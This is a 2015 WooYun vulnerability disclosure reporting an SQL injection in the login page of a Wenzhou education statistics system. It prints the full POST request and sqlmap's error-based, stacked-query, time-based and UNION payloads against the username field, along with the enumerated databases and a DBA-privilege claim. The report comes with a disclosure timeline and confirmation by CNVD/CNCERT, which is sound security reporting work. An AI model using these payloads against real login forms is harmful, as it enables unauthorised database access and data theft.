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缺陷编号:wooyun-2015-0138569

漏洞标题:温州教育网某系统存在SQL注入且权限为DBA涉及16个库

相关厂商:温州教育网

漏洞作者: 路人甲

提交时间:2015-09-04 15:39

修复时间:2015-10-22 09:02

公开时间:2015-10-22 09:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-09-04: 细节已通知厂商并且等待厂商处理中
2015-09-07: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-09-17: 细节向核心白帽子及相关领域专家公开
2015-09-27: 细节向普通白帽子公开
2015-10-07: 细节向实习白帽子公开
2015-10-22: 细节向公众公开

简要描述:

RT

详细说明:

漏洞系统:温州教育信息化统计管理系统

http://**.**.**.**/


漏洞地址:

POST /login_xz1.asp?action=confirm HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Content-Length: 65
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://**.**.**.**/login_xz1.asp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASPSESSIONIDQQBSCCCT=BEOLENCDDMLNAIGIMDKFEMGF
part_bzcode=&R1=V1&part_code=330301&username=admin&password=admin


username参数存在注入

---
Parameter: username (POST)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: part_bzcode=&R1=V1&part_code=330301&username=admin' AND 3984=CONVERT(INT,(SELECT CHAR(1
13)+CHAR(118)+CHAR(107)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (3984=3984) THEN CHAR(49) ELSE CHAR(4
8) END))+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(107)+CHAR(113))) AND 'xItC'='xItC&password=admin
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: part_bzcode=&R1=V1&part_code=330301&username=admin';WAITFOR DELAY '0:0:5'--&password=ad
min
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: part_bzcode=&R1=V1&part_code=330301&username=admin' WAITFOR DELAY '0:0:5'--&password=ad
min
Type: UNION query
Title: Generic UNION query (NULL) - 20 columns
Payload: part_bzcode=&R1=V1&part_code=330301&username=admin' UNION ALL SELECT NULL,NULL,NULL,NUL
L,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(118)+CHAR(107)+CHAR(113)+CHAR(113)+CHAR(83)
+CHAR(90)+CHAR(84)+CHAR(97)+CHAR(71)+CHAR(72)+CHAR(84)+CHAR(82)+CHAR(104)+CHAR(77)+CHAR(113)+CHAR(12
0)+CHAR(107)+CHAR(107)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &password=admin
---
[13:09:29] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2000

漏洞证明:

数据库:

available databases [16]:
[*] edu_domain
[*] edu_stat
[*] eduExcel
[*] edustat2011
[*] edutemp
[*] InHospital
[*] master
[*] model
[*] msdb
[*] MYWORK
[*] Northwind
[*] pubs
[*] pyedu
[*] rabfdb
[*] schoollx
[*] tempdb


DBA权限:

1.png


2.png


修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-09-07 09:00

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给浙江分中心,由其后续协调网站管理单位处置。

最新状态:

暂无